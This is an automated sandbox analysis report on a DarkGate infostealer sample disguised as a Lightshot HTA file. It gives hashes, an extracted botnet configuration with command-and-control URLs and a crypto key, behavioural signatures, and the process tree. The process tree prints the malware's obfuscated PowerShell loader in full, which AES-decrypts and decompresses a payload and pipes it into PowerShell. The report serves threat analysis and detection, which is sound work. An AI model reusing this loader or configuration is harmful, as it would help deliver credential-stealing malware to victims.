darkgate | 06ad0a15ad23f80816d9388624a14712df3598f856a2360912dd98680374dbda

Analysis

max time kernel
148s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20231127-en
resource tags

arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
submitted
01-12-2023 06:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

lightshot.hta
Size

54KB
MD5

d4a2eb2ca3c9c631d7fe24550901187f
SHA1

adce21df1542c8867a8d3ee867ad963671290a9c
SHA256

06ad0a15ad23f80816d9388624a14712df3598f856a2360912dd98680374dbda
SHA512

68679a0176e4eec9f1239e497e8f279e4e857062a251fdd12201622a92c676ded89c3eea5aaa1085277dde3137a8278f3df7ea886342f99b3d7b60551fa9daa9
SSDEEP

768:+rZm+DbOMXv/8/kpd6T0IBCFLGD6nqY79EtVaJOr:+rZmSbOMXv/8gd6TlBCJGD6qY79EtVDr

Score

10^/10

darkgate a11111 stealer

Malware Config

Extracted

Family

darkgate

Botnet

A11111

http://trans1ategooglecom.com

http://saintelzearlava.com

Attributes

alternative_c2_port
8080
anti_analysis
false
anti_debug
false
anti_vm
false
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_rawstub
true
crypto_key
XiOwgXyDLNDEpj
internal_mutex
txtMut
minimum_disk
100
minimum_ram
4096
ping_interval
4
rootkit
true
startup_persistence
true
username
A11111

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

Autoit3.exe

description pid process target process

PID 3352 created 2316 3352 Autoit3.exe sihost.exe

description	pid	process	target process
PID 3352 created 2316	3352	Autoit3.exe	sihost.exe

Blocklisted process makes network request 34 IoCs

Processes:

powershell.exemshta.exe

flow	pid	process
31	452	powershell.exe
34	5032	mshta.exe
35	5032	mshta.exe
37	5032	mshta.exe
39	5032	mshta.exe
40	5032	mshta.exe
54	5032	mshta.exe
55	5032	mshta.exe
56	5032	mshta.exe
57	5032	mshta.exe
58	5032	mshta.exe
59	5032	mshta.exe
61	5032	mshta.exe
63	5032	mshta.exe
66	5032	mshta.exe
68	5032	mshta.exe
69	5032	mshta.exe
70	5032	mshta.exe
71	5032	mshta.exe
75	5032	mshta.exe
76	5032	mshta.exe
77	5032	mshta.exe
78	5032	mshta.exe
79	5032	mshta.exe
80	5032	mshta.exe
81	5032	mshta.exe
82	5032	mshta.exe
83	5032	mshta.exe
84	5032	mshta.exe
88	5032	mshta.exe
89	5032	mshta.exe
90	5032	mshta.exe
91	5032	mshta.exe
92	5032	mshta.exe

Downloads MZ/PE file
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2013768333-4045878716-2922883000-1000\Control Panel\International\Geo\Nation mshta.exe
Drops startup file 1 IoCs

Processes:

mshta.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aaahbdh.lnk mshta.exe
Executes dropped EXE 2 IoCs

Processes:

Lightshot.exeAutoit3.exe

pid process

3580 Lightshot.exe
3352 Autoit3.exe
Loads dropped DLL 2 IoCs

Processes:

Lightshot.exe

pid process

3580 Lightshot.exe
3580 Lightshot.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2013768333-4045878716-2922883000-1000\Control Panel\International\Geo\Nation	mshta.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aaahbdh.lnk	mshta.exe

pid	process
3580	Lightshot.exe
3352	Autoit3.exe

pid	process
3580	Lightshot.exe
3580	Lightshot.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Autoit3.exemshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Autoit3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Autoit3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mshta.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mshta.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

powershell.exepowershell.exepowershell.exeAutoit3.exemshta.exe

pid	process
2852	powershell.exe
2852	powershell.exe
452	powershell.exe
3876	powershell.exe
452	powershell.exe
3876	powershell.exe
3352	Autoit3.exe
3352	Autoit3.exe
3352	Autoit3.exe
3352	Autoit3.exe
3352	Autoit3.exe
3352	Autoit3.exe
5032	mshta.exe
5032	mshta.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeDebugPrivilege	452	powershell.exe
Token: SeDebugPrivilege	3876	powershell.exe
Token: SeIncreaseQuotaPrivilege	452	powershell.exe
Token: SeSecurityPrivilege	452	powershell.exe
Token: SeTakeOwnershipPrivilege	452	powershell.exe
Token: SeLoadDriverPrivilege	452	powershell.exe
Token: SeSystemProfilePrivilege	452	powershell.exe
Token: SeSystemtimePrivilege	452	powershell.exe
Token: SeProfSingleProcessPrivilege	452	powershell.exe
Token: SeIncBasePriorityPrivilege	452	powershell.exe
Token: SeCreatePagefilePrivilege	452	powershell.exe
Token: SeBackupPrivilege	452	powershell.exe
Token: SeRestorePrivilege	452	powershell.exe
Token: SeShutdownPrivilege	452	powershell.exe
Token: SeDebugPrivilege	452	powershell.exe
Token: SeSystemEnvironmentPrivilege	452	powershell.exe
Token: SeRemoteShutdownPrivilege	452	powershell.exe
Token: SeUndockPrivilege	452	powershell.exe
Token: SeManageVolumePrivilege	452	powershell.exe
Token: 33	452	powershell.exe
Token: 34	452	powershell.exe
Token: 35	452	powershell.exe
Token: 36	452	powershell.exe
Token: SeIncreaseQuotaPrivilege	452	powershell.exe
Token: SeSecurityPrivilege	452	powershell.exe
Token: SeTakeOwnershipPrivilege	452	powershell.exe
Token: SeLoadDriverPrivilege	452	powershell.exe
Token: SeSystemProfilePrivilege	452	powershell.exe
Token: SeSystemtimePrivilege	452	powershell.exe
Token: SeProfSingleProcessPrivilege	452	powershell.exe
Token: SeIncBasePriorityPrivilege	452	powershell.exe
Token: SeCreatePagefilePrivilege	452	powershell.exe
Token: SeBackupPrivilege	452	powershell.exe
Token: SeRestorePrivilege	452	powershell.exe
Token: SeShutdownPrivilege	452	powershell.exe
Token: SeDebugPrivilege	452	powershell.exe
Token: SeSystemEnvironmentPrivilege	452	powershell.exe
Token: SeRemoteShutdownPrivilege	452	powershell.exe
Token: SeUndockPrivilege	452	powershell.exe
Token: SeManageVolumePrivilege	452	powershell.exe
Token: 33	452	powershell.exe
Token: 34	452	powershell.exe
Token: 35	452	powershell.exe
Token: 36	452	powershell.exe
Token: SeIncreaseQuotaPrivilege	452	powershell.exe
Token: SeSecurityPrivilege	452	powershell.exe
Token: SeTakeOwnershipPrivilege	452	powershell.exe
Token: SeLoadDriverPrivilege	452	powershell.exe
Token: SeSystemProfilePrivilege	452	powershell.exe
Token: SeSystemtimePrivilege	452	powershell.exe
Token: SeProfSingleProcessPrivilege	452	powershell.exe
Token: SeIncBasePriorityPrivilege	452	powershell.exe
Token: SeCreatePagefilePrivilege	452	powershell.exe
Token: SeBackupPrivilege	452	powershell.exe
Token: SeRestorePrivilege	452	powershell.exe
Token: SeShutdownPrivilege	452	powershell.exe
Token: SeDebugPrivilege	452	powershell.exe
Token: SeSystemEnvironmentPrivilege	452	powershell.exe
Token: SeRemoteShutdownPrivilege	452	powershell.exe
Token: SeUndockPrivilege	452	powershell.exe
Token: SeManageVolumePrivilege	452	powershell.exe
Token: 33	452	powershell.exe
Token: 34	452	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

mshta.exepowershell.execmd.exeLightshot.exeAutoit3.exe

description	pid	process	target process
PID 3504 wrote to memory of 2852	3504	mshta.exe	powershell.exe
PID 3504 wrote to memory of 2852	3504	mshta.exe	powershell.exe
PID 3504 wrote to memory of 2852	3504	mshta.exe	powershell.exe
PID 2852 wrote to memory of 1644	2852	powershell.exe	cmd.exe
PID 2852 wrote to memory of 1644	2852	powershell.exe	cmd.exe
PID 2852 wrote to memory of 1644	2852	powershell.exe	cmd.exe
PID 1644 wrote to memory of 3876	1644	cmd.exe	powershell.exe
PID 1644 wrote to memory of 3876	1644	cmd.exe	powershell.exe
PID 1644 wrote to memory of 3876	1644	cmd.exe	powershell.exe
PID 1644 wrote to memory of 452	1644	cmd.exe	powershell.exe
PID 1644 wrote to memory of 452	1644	cmd.exe	powershell.exe
PID 1644 wrote to memory of 452	1644	cmd.exe	powershell.exe
PID 3580 wrote to memory of 3352	3580	Lightshot.exe	Autoit3.exe
PID 3580 wrote to memory of 3352	3580	Lightshot.exe	Autoit3.exe
PID 3580 wrote to memory of 3352	3580	Lightshot.exe	Autoit3.exe
PID 3352 wrote to memory of 5032	3352	Autoit3.exe	mshta.exe
PID 3352 wrote to memory of 5032	3352	Autoit3.exe	mshta.exe
PID 3352 wrote to memory of 5032	3352	Autoit3.exe	mshta.exe
PID 3352 wrote to memory of 5032	3352	Autoit3.exe	mshta.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\lightshot.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3504

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS | powershell - }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2852

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS | powershell -
3⤵
- Suspicious use of WriteProcessMemory
PID:1644

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3876

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:452

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2316

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe"
2⤵
- Blocklisted process makes network request
- Drops startup file
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:5032

C:\Users\Admin\AppData\Roaming\Lightshot.exe
C:\Users\Admin\AppData\Roaming\Lightshot.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3580

\??\c:\tmpp\Autoit3.exe
c:\tmpp\Autoit3.exe c:\tmpp\test.au3
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3352

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\cffdcge\Autoit3.exe
Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\ProgramData\cffdcge\fcacahg\cckdakh
Filesize
230B

MD5
8122a4520b0d81552182434d266b06cf

SHA1
d435567fa6c9aa10edfbe06039191c729fcd3033

SHA256
78c523343c8047e8b5b48f614b08d55527ffecec3c0983b51e4ad652dc83efa8

SHA512
5494cd4dc1eeac255e19e4b41a3ad671e1c383e41fb23f36d6cad24848e4cb95287da6c96fa79246460c24ed6427d3a930a43826436c8f3e4500c25e294fa2c0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
1KB

MD5
def65711d78669d7f8e69313be4acf2e

SHA1
6522ebf1de09eeb981e270bd95114bc69a49cda6

SHA256
aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

SHA512
05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
15KB

MD5
1590c022379e33bde3d31a1416c81ead

SHA1
ad79852cb1fac4cab49200e99c604a033e9cafc0

SHA256
3b641e02a37abf54eec2229a0c0342a82ae21dd364811c78b2700f1b92900b22

SHA512
b10be68dd4c007dc05f97b54c642fea173ba399dd652aa2867b97417f6580d5b5a398ea3c76fc46dc2b9181c6e354a248e7f5aabb593a7e14a6058784f61ad1e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4e10kias.pln.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Lightshot.dll
Filesize
2.7MB

MD5
6376c4e1fa2dcb1c73f178b675ea5840

SHA1
c46e52b896bf3b53a6878d2b2386a9dc40377f19

SHA256
90e38d684c63fee4e5d7bdd16c4409022bf9edfc7cf266b9e49936962ce37b03

SHA512
d967d2e60b743bd57489c9edd0cf9d820d0ea749402be2dcb7b2e14a82828aa4c981b9fa32470d9f5fb208152e673eb3b9daf0485c53680548f5ea2619537494

Download Submit
C:\Users\Admin\AppData\Roaming\Lightshot.dll
Filesize
2.7MB

MD5
6376c4e1fa2dcb1c73f178b675ea5840

SHA1
c46e52b896bf3b53a6878d2b2386a9dc40377f19

SHA256
90e38d684c63fee4e5d7bdd16c4409022bf9edfc7cf266b9e49936962ce37b03

SHA512
d967d2e60b743bd57489c9edd0cf9d820d0ea749402be2dcb7b2e14a82828aa4c981b9fa32470d9f5fb208152e673eb3b9daf0485c53680548f5ea2619537494

Download Submit
C:\Users\Admin\AppData\Roaming\Lightshot.dll
Filesize
2.7MB

MD5
6376c4e1fa2dcb1c73f178b675ea5840

SHA1
c46e52b896bf3b53a6878d2b2386a9dc40377f19

SHA256
90e38d684c63fee4e5d7bdd16c4409022bf9edfc7cf266b9e49936962ce37b03

SHA512
d967d2e60b743bd57489c9edd0cf9d820d0ea749402be2dcb7b2e14a82828aa4c981b9fa32470d9f5fb208152e673eb3b9daf0485c53680548f5ea2619537494

Download Submit
C:\Users\Admin\AppData\Roaming\Lightshot.exe
Filesize
487KB

MD5
1e1c83b9680029ad4a9f8d3b3ac93197

SHA1
fa7b69793454131a5b21b32867533305651e2dd4

SHA256
0b899508777d7ed5159e2a99a5eff60c54d0724493df3d630525b837fa43aa51

SHA512
fe6f8df3dbbcc7535ead60028ec3e45801a33ccc81c9137b2288bc0d18be42379564c907eb406ce9491f46930690efa9a86a9f6506414992b5dba75adb3d1136

Download Submit
C:\temp\AutoIt3.exe
Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\tmpp\Autoit3.exe
Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
\??\c:\temp\hedahck.au3
Filesize
492KB

MD5
dbd1ca08a1b009d1abab3def6ffa967b

SHA1
f05c604a879c9396f93f6857f84d6ba58734ae0f

SHA256
1744c6621eeb65626f1d0c99ffcb11b61d61e1f1747e4e8310e3e0d921056bb1

SHA512
6b28d83aee4eb2b219ed4e665f09bda8d32250b6b2d2a74b2f56243ce60b1a49aa570050b752bcbc27c4deff373d0ca8a6d968714813223648ec58c0a0f7d2cb

Download Submit
\??\c:\tmpp\AutoIt3.exe
Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
\??\c:\tmpp\test.au3
Filesize
492KB

MD5
dbd1ca08a1b009d1abab3def6ffa967b

SHA1
f05c604a879c9396f93f6857f84d6ba58734ae0f

SHA256
1744c6621eeb65626f1d0c99ffcb11b61d61e1f1747e4e8310e3e0d921056bb1

SHA512
6b28d83aee4eb2b219ed4e665f09bda8d32250b6b2d2a74b2f56243ce60b1a49aa570050b752bcbc27c4deff373d0ca8a6d968714813223648ec58c0a0f7d2cb

Download Submit
memory/452-78-0x0000000007750000-0x0000000007761000-memory.dmp

Filesize
68KB

Download
memory/452-62-0x0000000007600000-0x0000000007632000-memory.dmp

Filesize
200KB

Download
memory/452-76-0x0000000007640000-0x00000000076E3000-memory.dmp

Filesize
652KB

Download
memory/452-58-0x0000000000B90000-0x0000000000BA0000-memory.dmp

Filesize
64KB

Download
memory/452-75-0x00000000075E0000-0x00000000075FE000-memory.dmp

Filesize
120KB

Download
memory/452-30-0x0000000000B90000-0x0000000000BA0000-memory.dmp

Filesize
64KB

Download
memory/452-65-0x000000006D820000-0x000000006DB74000-memory.dmp

Filesize
3.3MB

Download
memory/452-77-0x0000000007740000-0x000000000774A000-memory.dmp

Filesize
40KB

Download
memory/452-31-0x0000000000B90000-0x0000000000BA0000-memory.dmp

Filesize
64KB

Download
memory/452-33-0x0000000070E00000-0x00000000715B0000-memory.dmp

Filesize
7.7MB

Download
memory/452-43-0x0000000005A30000-0x0000000005D84000-memory.dmp

Filesize
3.3MB

Download
memory/452-81-0x0000000070E00000-0x00000000715B0000-memory.dmp

Filesize
7.7MB

Download
memory/452-64-0x000000006D6C0000-0x000000006D70C000-memory.dmp

Filesize
304KB

Download
memory/452-55-0x0000000006CD0000-0x0000000006D14000-memory.dmp

Filesize
272KB

Download
memory/452-63-0x000000007EFF0000-0x000000007F000000-memory.dmp

Filesize
64KB

Download
memory/452-57-0x0000000007070000-0x00000000070E6000-memory.dmp

Filesize
472KB

Download
memory/2852-23-0x0000000007D10000-0x00000000082B4000-memory.dmp

Filesize
5.6MB

Download
memory/2852-4-0x0000000005F50000-0x0000000005F72000-memory.dmp

Filesize
136KB

Download
memory/2852-2-0x0000000002E10000-0x0000000002E20000-memory.dmp

Filesize
64KB

Download
memory/2852-1-0x0000000002DC0000-0x0000000002DF6000-memory.dmp

Filesize
216KB

Download
memory/2852-3-0x00000000057F0000-0x0000000005E18000-memory.dmp

Filesize
6.2MB

Download
